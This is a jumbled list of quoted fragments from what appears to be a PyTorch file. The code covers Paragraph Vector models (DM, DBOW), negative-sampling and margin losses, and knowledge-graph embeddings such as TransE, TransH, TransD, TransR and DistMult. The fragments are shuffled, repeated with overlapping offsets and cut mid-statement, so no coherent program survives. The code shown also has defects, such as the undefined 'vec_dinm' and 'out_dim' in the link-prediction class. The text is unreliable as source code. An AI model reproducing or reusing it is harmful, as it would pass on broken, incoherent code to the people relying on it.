"the value of the loss function. Parameters ---------- scores: autograd.Variable of size (batch_size,",
"= pos - neg + margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return",
"elements are scores of samples from the noise distribution. \"\"\" try: k =",
"** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1)",
"d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module):",
"M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb =",
"total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self, index): return self.d2v._D[index, :].data.tolist() class",
"vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1)",
"0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of",
"__init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of",
"value of the loss function. Parameters ---------- scores: autograd.Variable of size (batch_size, num_noise_words",
"-> ik', tj_emb, M_R) hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2,",
"int Number of documents in a dataset. num_words: int Number of distinct words",
"hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None",
"projection_transH(original, norm): return original - torch.sum(original * norm, dim=1, keepdim=True) * norm def",
"a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__()",
"+ torch.sum(original * norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\"",
"torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd': hi_emb",
"self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # output layer",
"_) out = self.linear(pos) return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss",
"torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb =",
"1, bias=True, requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad(): _, _, _,",
"dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data =",
"loss as proposed by <NAME> al. in Distributed Representations of Words and Phrases",
"= projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb -",
"Vocabulary indices of target and noise words. The first element in each row",
"the ground truth score (i.e. the target), other elements are scores of samples",
"import torch.nn as nn import torch.nn.functional as F import random import numpy as",
"** 2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1)",
"= DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func = NegativeSampling()",
"index): return self.d2v._D[index, :].data.tolist() class DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters",
"the target), other elements are scores of samples from the noise distribution. \"\"\"",
"/ scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss,",
"indices of samples from the noise distribution. hi: torch.Tensor of size (batch_size,) Heads",
"negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index):",
"of scores (unnormalized log probabilities) that should be passed to the negative sampling",
"target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be passed to",
"= normalize_relation_emb self.D_R.data = normalize_norm_emb def forward(self, context_ids, doc_ids, target_noise_ids, hi, ti, ri,",
"= marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim),",
"from golden triplets from relational graph ri: torch.Tensor of size (batch_size,) Relations from",
"1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk ->",
"doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of size",
"x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module):",
"+ 1) \"\"\" # sparse computation of scores (unnormalized log probabilities) # for",
"- tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb,",
"size (batch_size,) Tails from golden triplets from relational graph ri: torch.Tensor of size",
"tj): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be passed to",
"for negative sampling return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self,",
"== 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words)",
"<NAME> al. in Distributed Representations of Words and Phrases and their Compositionality. \"\"\"",
"are indices of samples from the noise distribution. hi: torch.Tensor of size (batch_size,)",
"= torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg,",
"self.kg_model_ver == 'transe': pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1)",
"None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb)",
"d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs,",
"vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb",
"w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd': hi_emb = projection_transD(hi_emb,",
"words). num_docs: int Number of documents in a dataset. num_words: int Number of",
"# output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids,",
"d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1) neg =",
"= projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos =",
"2, 1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1) elif",
"torch.Tensor of size (batch_size,) Relations from golden triplets from relational graph tj: torch.Tensor",
"of documents in a dataset. num_words: int Number of distinct words in a",
"def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model = kg_model #self.linear1",
"self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation",
"of samples from the noise distribution. \"\"\" try: k = scores.size()[1] - 1",
"== 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb),",
"sampling loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of",
"== 'transd': hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb,",
"as np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative sampling loss as proposed",
"= torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e +",
"---------- vec_dim: int Dimensionality of vectors to be learned (for paragraphs and words).",
"= self.cost_func.forward(d2v_output) else: d2v_output = torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none':",
"target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary indices of target and",
"hi_emb = projection_transD(hi_emb, w_ri_emb) ti_emb = projection_transD(ti_emb, w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos",
"Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of context words.",
"self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss",
"+ 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb",
"+ margin return torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original *",
"the ground truth index (i.e. the target), other elements are indices of samples",
"= d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss else: raise ValueError(\"Both D2V",
"as nn import torch.nn.functional as F import random import numpy as np import",
"torch.sum(torch.max(val, torch.zeros_like(val))) def projection_transH(original, norm): return original - torch.sum(original * norm, dim=1, keepdim=True)",
"matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O =",
"num_noise_words + 1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:]",
":], dim=1)) # sparse computation of scores (unnormalized log probabilities) # for negative",
"target), other elements are indices of samples from the noise distribution. hi: torch.Tensor",
"pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e",
"truth score (i.e. the target), other elements are scores of samples from the",
"'dm': self.d2v = DM(vec_dim, num_docs, num_words) else: self.d2v = DBOW(vec_dim, num_docs, num_words) self.cost_func",
"torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2, 1) elif self.kg_model_ver == 'transe': pos",
"** 2, 1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1)",
"elif self.kg_model_ver != 'none': total_loss = kg_loss else: raise ValueError(\"Both D2V and KG",
"random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos =",
"probabilities) that should be passed to the negative sampling loss. Parameters ---------- doc_ids:",
"projection_transD(original, norm): return original + torch.sum(original * norm, dim=1, keepdim=True) * norm class",
"element in each row is the ground truth index (i.e. the target), other",
"doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be passed",
"(pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver",
"in a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM,",
"torch.einsum('ij, ijk -> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb,",
"1 return -torch.sum( self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) /",
"indices of context words. doc_ids: torch.Tensor of size (batch_size,) Document indices of paragraphs.",
"num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True)",
") / scores.size()[0] except: k = 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self):",
"are indices of samples from the noise distribution. Returns ------- autograd.Variable of size",
"in a daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW,",
"projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2, 1) neg",
"= self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and",
"nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb =",
"get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed Bag of Words version of",
"indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words + 1) Vocabulary indices",
"torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return original +",
"self.d2v_model_ver != 'none': total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss",
"Number of distinct words in a daset (i.e. vocabulary size). \"\"\" def __init__(self,",
"p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2, dim=1) self.d2v._D.data = normalize_entity_emb self.W_R.data = normalize_relation_emb",
"computation of scores (unnormalized log probabilities) # for negative sampling return torch.bmm( self._D[doc_ids,",
"is the ground truth score (i.e. the target), other elements are scores of",
"the noise distribution. \"\"\" try: k = scores.size()[1] - 1 return -torch.sum( self._log_sigmoid(scores[:,",
"Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes",
"torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1) neg = torch.sum((hi_emb + w_ri_emb",
"!= 'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver",
"Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim",
"combine a paragraph vector with word vectors of # input (context) words x",
"vectors to be learned (for paragraphs and words). num_docs: int Number of documents",
"self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim,",
":], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores (unnormalized log probabilities) #",
"be learned (for paragraphs and words). num_docs: int Number of documents in a",
"negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return",
"Memory version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors to",
"neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) ** 2,",
"= self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj",
"nn import torch.nn.functional as F import random import numpy as np import torch.autograd",
"= torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores (unnormalized",
"forward(self, scores): \"\"\"Computes the value of the loss function. Parameters ---------- scores: autograd.Variable",
"\"\"\" def __init__(self, vec_dim, num_docs, num_words, n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__()",
"marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True)",
"1) elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg =",
"pos_t_e) ** 2, 1) neg = torch.sum((neg_h_e + w_ri_emb - neg_t_e) ** 2,",
"1) neg = torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R =",
"torch.randn(num_words, vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True)",
"size (batch_size, num_noise_words + 1) \"\"\" # combine a paragraph vector with word",
"w_ri_emb) tj_emb = projection_transD(tj_emb, w_ri_emb) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) **",
"model\"\"\" def __init__(self, kg_model): self.vec_dim = vec_dinm self.out_dim = out_dim self.kg_model = kg_model",
"nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti, ri):",
"context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor",
"self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index, :].data.tolist() class DBOW(nn.Module): \"\"\"Distributed",
"vec_dim), requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def",
"= F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb = F.normalize(self.D_R.data, p=2,",
"= torch.FloatTensor([0]) if self.d2v_model_ver != 'none' and self.kg_model_ver != 'none': total_loss = (1-self.delta)*d2v_loss",
"= None neg = None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb)",
"def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def",
"def forward(self, pos, neg, margin): val = pos - neg + margin return",
"the target), other elements are indices of samples from the noise distribution. hi:",
"of vectors to be learned (for paragraphs and words). num_docs: int Number of",
"num_docs: int Number of documents in a dataset. num_words: int Number of distinct",
"num_docs, num_words) self.cost_func = NegativeSampling() self.kg_loss_fn = marginLoss() self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim),",
"ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb = self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0])",
"probabilities) that should be passed to the negative sampling loss. Parameters ---------- context_ids:",
"hi_emb = F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb,",
"1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver",
"-> ik', ti_emb, M_R) tj_emb = torch.einsum('ij, ijk -> ik', tj_emb, M_R) hi_emb",
"pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e = projection_transH(hi_emb, d_ri_emb) neg_t_e",
"== 'transr': M_R = self.M_R[ri,:] hi_emb = torch.einsum('ij, ijk -> ik', hi_emb, M_R)",
"return out class D2V_KG(nn.Module): \"\"\"Doc2vec model with transh loss \"\"\" def __init__(self, vec_dim,",
"torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of context words. doc_ids: torch.Tensor of",
"torch.nn as nn import torch.nn.functional as F import random import numpy as np",
"norm): return original + torch.sum(original * norm, dim=1, keepdim=True) * norm class Link_Model(nn.Module):",
"loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words) Vocabulary indices of context",
"scores of samples from the noise distribution. \"\"\" try: k = scores.size()[1] -",
"autograd.Variable of size (batch_size, num_noise_words + 1) \"\"\" # combine a paragraph vector",
"of size (batch_size,) Document indices of paragraphs. target_noise_ids: torch.Tensor of size (batch_size, num_noise_words",
"(batch_size,) Relations from golden triplets from relational graph tj: torch.Tensor of size (batch_size,)",
"self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e =",
"x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) # sparse computation of scores",
"Tails from golden triplets from relational graph ri: torch.Tensor of size (batch_size,) Relations",
"of Words and Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling, self).__init__() self._log_sigmoid",
"d_ri_emb) neg_t_e = projection_transH(tj_emb, d_ri_emb) pos = torch.sum((pos_h_e + w_ri_emb - pos_t_e) **",
"size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DM, self).__init__() # paragraph matrix self._D",
"torch.Tensor of size (batch_size,) Heads from golden triplets from relational graph ti: torch.Tensor",
"dim=1)) # sparse computation of scores (unnormalized log probabilities) # for negative sampling",
"size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D",
"of samples from the noise distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words",
"# for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self,",
"self).__init__() self._log_sigmoid = nn.LogSigmoid() def forward(self, scores): \"\"\"Computes the value of the loss",
"ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized log probabilities) that should be",
"#if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg",
"requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words, vec_dim), requires_grad=True) # output layer",
"in each row is the ground truth index (i.e. the target), other elements",
"for negative sampling return torch.bmm( x.unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index):",
"n_rel, d2v_model_ver, kg_model_ver, margin, delta): super(D2V_KG, self).__init__() self.num_docs = num_docs self.margin = margin",
"'none': total_loss = d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss else: raise",
"distribution. hi: torch.Tensor of size (batch_size,) Heads from golden triplets from relational graph",
"requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data, p=2, dim=1) normalize_relation_emb = F.normalize(self.W_R.data, p=2, dim=1) normalize_norm_emb =",
"from relational graph ri: torch.Tensor of size (batch_size,) Relations from golden triplets from",
"= torch.einsum('ij, ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik',",
"keepdim=True) * norm class Link_Model(nn.Module): \"\"\"Link prediction model\"\"\" def __init__(self, kg_model): self.vec_dim =",
"+ w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver != 'none': d2v_output =",
"d2v_loss elif self.kg_model_ver != 'none': total_loss = kg_loss else: raise ValueError(\"Both D2V and",
"= torch.sum(projection_DistMult(w_ri_emb, hi_emb, tj_emb), 1) elif self.kg_model_ver == 'transr': M_R = self.M_R[ri,:] hi_emb",
"of size (batch_size, num_noise_words + 1) Sparse unnormalized log probabilities. The first element",
"size (batch_size, num_noise_words + 1) Sparse unnormalized log probabilities. The first element in",
"return torch.sum(original * norm1, dim=1, keepdim=True) * norm2 def projection_transD(original, norm): return original",
"from golden triplets from relational graph ti: torch.Tensor of size (batch_size,) Tails from",
"self.D_R[ri,:] #tj = random.sample(np.arange(0,self.num_docs).tolist(), hi_emb.shape[0]) #if torch.cuda.is_available(): # tj = torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb =",
"= F.normalize(hi_emb, p=2, dim=1) ti_emb = F.normalize(ti_emb, p=2, dim=1) tj_emb = F.normalize(tj_emb, p=2,",
"'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else: kg_loss = torch.FloatTensor([0])",
"# combine a paragraph vector with word vectors of # input (context) words",
"norm def projection_DistMult(original, norm1, norm2): return torch.sum(original * norm1, dim=1, keepdim=True) * norm2",
"from the noise distribution. hi: torch.Tensor of size (batch_size,) Heads from golden triplets",
"ijk -> ik', hi_emb, M_R) ti_emb = torch.einsum('ij, ijk -> ik', ti_emb, M_R)",
"# input (context) words x = torch.add( self._D[doc_ids, :], torch.sum(self._W[context_ids, :], dim=1)) #",
"self.linear = nn.Linear(1, 1, bias=True, requires_grad=True) def forward(self, hi, ti, ri): with torch.no_grad():",
"each row is the ground truth index (i.e. the target), other elements are",
"if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss = self.kg_loss_fn(pos, neg, self.margin) else:",
"w_ri_emb - tj_emb) ** 2, 1) if self.d2v_model_ver != 'none': d2v_output = self.d2v.forward(context_ids,",
"Number of documents in a dataset. num_words: int Number of distinct words in",
"self.d2v_model_ver = d2v_model_ver if d2v_model_ver == 'dm': self.d2v = DM(vec_dim, num_docs, num_words) else:",
"torch.LongTensor(np.asarray(tj)).to(torch.device('cuda')) tj_emb = self.d2v._D[tj,:] pos = None neg = None if self.kg_model_ver ==",
"!= 'none': total_loss = (1-self.delta)*d2v_loss + self.delta*kg_loss elif self.d2v_model_ver != 'none': total_loss =",
"documents in a dataset. num_words: int Number of distinct words in a daset",
"probabilities. The first element in each row is the ground truth score (i.e.",
"forward(self, hi, ti, ri): with torch.no_grad(): _, _, _, _, pos, _ =",
"ti_emb) ** 2, 1) neg = torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2,",
"= torch.FloatTensor([0]) d2v_loss = torch.FloatTensor([0]) if self.kg_model_ver != 'none': #print (pos.shape, neg.shape) kg_loss",
"num_docs self.margin = margin self.delta = delta self.kg_model_ver = kg_model_ver self.d2v_model_ver = d2v_model_ver",
"to the negative sampling loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size, num_context_words)",
"noisy triplets from relational graph Returns ------- autograd.Variable of size (batch_size, num_noise_words +",
"= torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'transd':",
"= 1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos,",
"= torch.sum((hi_emb + w_ri_emb - tj_emb) ** 2, 1) elif self.kg_model_ver == 'distmult':",
"self._log_sigmoid(scores[:, 0]) + torch.sum(self._log_sigmoid(-scores[:, 1:]), dim=1) / k ) / scores.size()[0] except: k",
"context_ids, doc_ids, target_noise_ids, hi, ti, ri, tj): \"\"\"Sparse computation of scores (unnormalized log",
"_, _, _, pos, _ = self.kg_model(_, _, _, hi, ti, ri, _)",
"from golden triplets from relational graph tj: torch.Tensor of size (batch_size,) Tails from",
"self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix self._W = nn.Parameter( torch.randn(num_words,",
"tj_emb = self.d2v._D[tj,:] pos = None neg = None if self.kg_model_ver == 'transh':",
"__init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs,",
"1 return -torch.sum(torch.sum(self._log_sigmoid(scores))) class marginLoss(nn.Module): def __init__(self): super(marginLoss, self).__init__() def forward(self, pos, neg,",
"triplets from relational graph Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1)",
"torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R = nn.Parameter( torch.randn(n_rel, vec_dim, vec_dim), requires_grad=True) normalize_entity_emb = F.normalize(self.d2v._D.data,",
"None neg = None if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e",
"can not be none\") return total_loss, d2v_loss, kg_loss, d2v_output, pos, neg def get_paragraph_vector(self,",
"proposed by <NAME> al. in Distributed Representations of Words and Phrases and their",
"F.normalize(tj_emb, p=2, dim=1) pos = torch.sum((hi_emb + w_ri_emb - ti_emb) ** 2, 1)",
"requires_grad=True) # output layer parameters self._O = nn.Parameter( torch.FloatTensor(vec_dim, num_words).zero_(), requires_grad=True) def forward(self,",
"num_words).zero_(), requires_grad=True) def forward(self, context_ids, doc_ids, target_noise_ids): \"\"\"Sparse computation of scores (unnormalized log",
"and words). num_docs: int Number of documents in a dataset. num_words: int Number",
"Distributed Representations of Words and Phrases and their Compositionality. \"\"\" def __init__(self): super(NegativeSampling,",
"out_dim self.kg_model = kg_model #self.linear1 = nn.Linear(self.vec_dim, self.out_dim) self.linear = nn.Linear(1, 1, bias=True,",
"if self.kg_model_ver == 'transh': pos_h_e = projection_transH(hi_emb, d_ri_emb) pos_t_e = projection_transH(ti_emb, d_ri_emb) neg_h_e",
"return torch.bmm( self._D[doc_ids, :].unsqueeze(1), self._O[:, target_noise_ids].permute(1, 0, 2)).squeeze() def get_paragraph_vector(self, index): return self._D[index,",
"of Words version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of vectors",
"self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim), requires_grad=True) # word matrix",
"from the noise distribution. Returns ------- autograd.Variable of size (batch_size, num_noise_words + 1)",
"import random import numpy as np import torch.autograd as autograd class NegativeSampling(nn.Module): \"\"\"Negative",
"1) \"\"\" hi_emb = self.d2v._D[hi,:] ti_emb = self.d2v._D[ti,:] w_ri_emb = self.W_R[ri,:] d_ri_emb =",
"daset (i.e. vocabulary size). \"\"\" def __init__(self, vec_dim, num_docs, num_words): super(DBOW, self).__init__() #",
"passed to the negative sampling loss. Parameters ---------- context_ids: torch.Tensor of size (batch_size,",
"relational graph ri: torch.Tensor of size (batch_size,) Relations from golden triplets from relational",
"a dataset. num_words: int Number of distinct words in a daset (i.e. vocabulary",
"vec_dim, num_docs, num_words): super(DBOW, self).__init__() # paragraph matrix self._D = nn.Parameter( torch.randn(num_docs, vec_dim),",
"num_noise_words + 1) \"\"\" # combine a paragraph vector with word vectors of",
"DM(nn.Module): \"\"\"Distributed Memory version of Paragraph Vectors. Parameters ---------- vec_dim: int Dimensionality of",
"self.W_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.D_R = nn.Parameter( torch.randn(n_rel, vec_dim), requires_grad=True) self.M_R",
"elif self.kg_model_ver == 'distmult': pos = torch.sum(projection_DistMult(w_ri_emb, hi_emb, ti_emb), 1) neg = torch.sum(projection_DistMult(w_ri_emb,",
